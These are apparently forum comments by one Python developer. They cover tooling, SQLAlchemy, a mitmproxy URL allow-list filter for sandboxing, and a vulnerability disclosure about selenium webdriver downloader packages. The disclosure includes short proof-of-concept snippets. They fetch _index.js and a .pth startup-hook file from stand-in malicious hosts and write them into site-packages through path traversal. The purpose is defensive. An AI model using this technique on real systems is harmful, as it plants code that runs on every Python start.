Tools i recommend:

• rebuff – finds places in code to replace with better algorithms. Wanted a tool to recommend itertools and itertools-more usage, but achieve that. Chosen cuz it’s not Rust.

• typos – fixes typos in both code and docs

• mypy+pyright+stubtest – need all of them. pyright phones home. mypy isn’t enough it misses way too much.

• pretty format YAML

• cyclonedx-bom – create software bill of materials

• pip-licenses – NOTICE.txt and licenses.json Answers question does my toolchain include virus licensed packages?

• interrogate – Any code documentation missing? Does not enforce documentation quality.

• wreck – sync requirements files; otherwise it’s tedious (i’m the author)

• uv and ruff

If it can be helped, don’t want Rust nor nodejs in my toolchain. Recommending to Python coders who are very likely not Rust or node.js experts is malpractice or unethical (call it what you may). If you had a problem with any non-Python packages would be at the mercy of non-Python communities. i’m struggling just with Python community black issue 2514 now you want us to broaden that struggle?

And if people are too dumb or lazy to learn how requirement file hierarchies work, perhaps they shouldn’t be Python coders.

Disclosure: author of wreck

Dependabot got annoying. For logging-strict git repo, turned off dependency graph. Blindly updating mostly nodejs crap is insane, it’s a supply chain attack waiting to happen.

Disclosure: author of logging-strict

The OP mentioned dealing with user input via pydantic. Which acts schema-like. strictyaml does the same for YAML config files where runtime validated against a schema.

And here is why all the other config file formats are dodgy, why-not written by author of strictyaml (not me).

Disclosure: Author of types-strictyaml, logging-strict, pytest-logging-strict, and sphinx-external-toc-strict. So yes i drank the kool-aid, but welcome challenges to preference for YAML config file format over others.

Don’t want individual dependency packages listed within pyproject.toml. Breaks the hierarchical nature of requirements files.

There is only so much enshitification my eyes can endure.

I’m the author of wreck.

lazy imports – ftw!

built-in sentinel – finally

I’m confused once py315 comes out why to stick with any previous version. As author of multiple packages, why would wait for several years before getting the benefits of lazy imports? This is not a rhetorical question, i’m requesting feedback why would you continue to wait?

This point is not clear to me.

Remember back in the day … raw SQL. All the children in unison say, “Woah”!

There is no avoiding the database part: model module, alembic migrations, static type checking, UDF, UDF rtyping, string PRAGMAs/SET|SHOW. And a beautiful config file to link them all!

Database work is very time consuming.

have to reevaluate if async is that important to me or not.

Why would be concerning yourself about that? Should have both [a]sync support throughout. Discussing this shouldn’t even be a topic it should be the norm.

why no one is talking about Django is just rhetorical clickbait title to start a conversation about Django. You are interpreting it literally.

Once the topic of Django is discussed, may lead into the conversation about SQLAlchemy. Then comparing the two. Then complaining about one or the other.

Doubt there will be anyone experienced in both. I can talk about SQLAlchemy, but keep my mouth shut about Django. So enjoy to hear what others have to say about Django.

Let them speak!

Reply to /u/onlinepersona SQLAlchemy crocodile tears.

Really need a layer between SQLAlchemy and FastAPI (or litestar, …). Otherwise would be messing around with SQLAlchemy/alembic internals for years. SQLAlchemy is an incredible time sink without that additional layer.

Created just such a package just never got around to publishing it:

• static type checking throughout
• sync and async support throughout
• alembic support (both async and sync)
• multiple databases. One per config file!
• model built from dotted path of (sqlmodel and sqla mixins) components module
• UDF (user defined functions)
• database settings (PRAGMA, SHOW, SET, …)
• sqlite-[pysqlite|sqlcipher|aiosqlite] and postgresql-[psycopg2|asyncpg] supported
• config does not store the password

Issues:

• retire sqlite-sqlcipher PRAGMA rekey and key. Password in config unsafe
• authentication by pulling from a password manager not implemented
• strict validation of postgresql SHOW/SET keys incomplete

The only thing i don’t like is the naming of the folder, dist. Which is reserved in Python for python -m build. The docs should not be promoting the use of that folder.

Identify where itertools or itertools-more should be used instead.

Found this which is Rust-free

https://pypi.org/project/refurb/

Better question is Iterator or Generator?

Identify where itertools or itertools-more should be used instead.

The later question i don’t have an answer to. If anyone wants to take a crack at it.

Within a docker container, mitmproxy can sit filtering network traffic by URLs, rather than IP and port. Ignore in this example only one URL is allowed.

In pyproject.toml,

[project.scripts]
webdriver_urls_filter = "mypackage.somefolder.mitmproxy_runner:main"

In mypackage.somefolder.mitmproxy_filters,

import re
from typing import TYPE_CHECKING

from mitmproxy import ctx

if TYPE_CHECKING:
    from mitmproxy import http


def request(flow: "http.HTTPFlow") -> None:
    """Run this proxy.

    :type flow: mitmproxy.http.HTTPFlow
    """
    url = flow.request.pretty_url

    # Rather than exact, interested in limiting the base URL
    ALLOWED_PATTERN = re.compile(r"^https://github//.com/myorg/myrepo/releases/download/v1/.2/.3/.*$")
    
    # Check if URL matches the allowed release pattern
    
    try:
        if ALLOWED_PATTERN.match(url):
            ctx.log.info(f"Download allowed: {url}")
        else:
            ctx.log.error(f"Download blocked: {url}")
            flow.kill()
    except Exception as e:
        # FAIL SECURE: If inspection fails, kill the connection to prevent bypass
        ctx.log.error(f"Script error, blocking flow: {e}")
        flow.kill()

In mypackage.somefolder.mitmproxy_runner,

from mitmdump import DumpMaster
from mitmproxy import options

from . import mitmproxy_filters  # addon module

def main() -> None:
    """Rather than calling `mitmdump -s myscript.py`."""
    opts = options.Options(listen_port=8080)
    master = DumpMaster(opts)

    if hasattr(mitmproxy_filters, 'addons'):
        # explicit format which defines a class then appends an instance to
        # :code:`addons = []`
        master.addons.add(*mitmproxy_filters.addons)
    else:
        # Module itself acts as addon
        master.addons.add(mitmproxy_filters)
    
    master.run()

The docker container has one network proxy which has web access. Everything else has no web access instead traffic is directed thru the proxy. The proxy calls, webdriver_urls_filter.

Had to research how to go about running untrusted code safely.

In-process there are actions that can be taken to deter mock.patch, but it wouldn’t defeat a determined adversary. A subprocess isn’t a sufficient security layer although it would prevent mock.patch a module.

To deter a determined adversary, recommend to use Docker or Firecracker MicroVMs.

So glad we are having this conversation. Instead of jumping in with a fix that is not actually effective.

To get the same effect from GetGeckoDriver().install()

from unittest.mock import patch

from get_gecko_driver.get_driver import GetGeckoDriver

target_package_path = "../../../.venv/lib/Python3.11/site-packages"
# e.g. 'geckodriver/linux64/0.36.0'
remove_subfolders = "../../.."
output_path = f"{target_package_path}/somepackage/{remove_subfolders}"
url_arbritrary = "https://maliciousurl.com/_index.js"
with patch(
    "get_gecko_driver.get_driver.GetGeckoDriver.version_url",
    return_value=url_arbritrary,
):
    get_driver.install(output_path=output_path)

The URL limiting and dest folder limiting aren’t hardcoded within get_gecko_driver.downloader.download (module level func), making it unpatchable. Instead the GetGeckoDriver is patch friendly.

Assumes all Python coders have experience writting unittest or pytest. So usage of unittest.mock.patch is common knowledge and second nature. So absolutely no one would struggle writing the above code.

To protect against patching, the base URL cannot be within get_gecko_driver.constants and then import by another module. Although not DRY, the base URL must be hardcoded minimally within get_gecko_driver.downloader.download (in the whitelist) and optionally also within get_gecko_driver.get_driver.GetGeckoDriver.install (to raise an exception with a meaningful and actionable message).

Recently on this community this article was posted exploits .pth startup hook which leads to this blog post

This requires two files: _index.js and [something]-setup.pth.

Can download these using either get-gecko-driver or get-chrome-driver.

>>> from get_gecko_driver import downloader
>>> url_0 = "https://malicioussite.com/_index.js"
>>> url_1 = "https://malicioussite.com/important-setup.pth"
>>> output_path = "../../.venv/lib/python3.11/site-packages/oftenusedpackage"
>>> downloader.download(url_0, output_path=output_path, file_name=None)
>>> downloader.download(url_1, output_path=output_path, file_name=None)

… the machine is part of a botnet

Installing malware is unexpected behavior from a selenium webdriver downloader. Although it’s a thin wrapper around requests, it still has to be used responsibly.

Made an issue, it magically disappeared. Admittedly in the open attempt did occur.

Would like to point to issue #5 as evidence, but it was unexpectedly removed.

These packages are selenium webdriver flavored curl.

Did not set out to be a security researcher chasing bug bounties. Was not looking to discover exploits. It just happened. Read enough packages and eventually by random chance it’s bound to happen.

After submitting an issue (admittedly in the open), have not submitted PR to fix the attack packages. Even if wanted to, PRs happen AFTER an issue is approved by the author/maintainer.

Have posted 4 issues without any response. The 5th magically disappeared. There has been no comments from the author.

Appealing to the author might not be the correct tactic. Just wondering if these are the sort of packages pypi.org takes down.

intention behind your original post? You haven’t provided a fix here, or a PR, as far as I can see you haven’t forked the project with a fix

Working on a bigger project which is on my local machine. Got to the point wanted to maximize the selenium webdrivers supported browsers. Currently writing the selenium webdriver related unit tests. Have no issue with branching off the parts dealing with selenium webdrivers and publishing that. It’s just not at that stage. And will probably refactor it again to conform to webdriver-manager standards.

While doing the testing, and while fixing the geckodriver chained downloader, went thru multiple stages of denial until realized these packages main focus is the downloader, and the installing selenium web drivers is merely window dressing.

The fixes are trivial:

• allowed (base) URLs whitelist
• limit allowed destination folders
• providing destination folder is not optional

Somehow, not by me, the disclosure was deleted. The issues raised have not been addressed. Way to handle it, ignore it. LOL!

So the head in sand approach it is. Or fck off it’s as-is (aka MIT licensed). Either github or the author pulled a MSFT. Unfortunately cannot tell who deleted it.

I feel vindicated. Didn’t get the impression this author can be collaborated with.

These packages aren’t intended to be curl and they shouldn’t be capable of being curl. So it’s unexpected behavior from these packages. The worst that can happen is use in ddos attacks or sabotaging a user’s files by overwriting them.

The package doesn’t alter fs permissions, but can write anywhere that has permission to do so.

Is this not enough?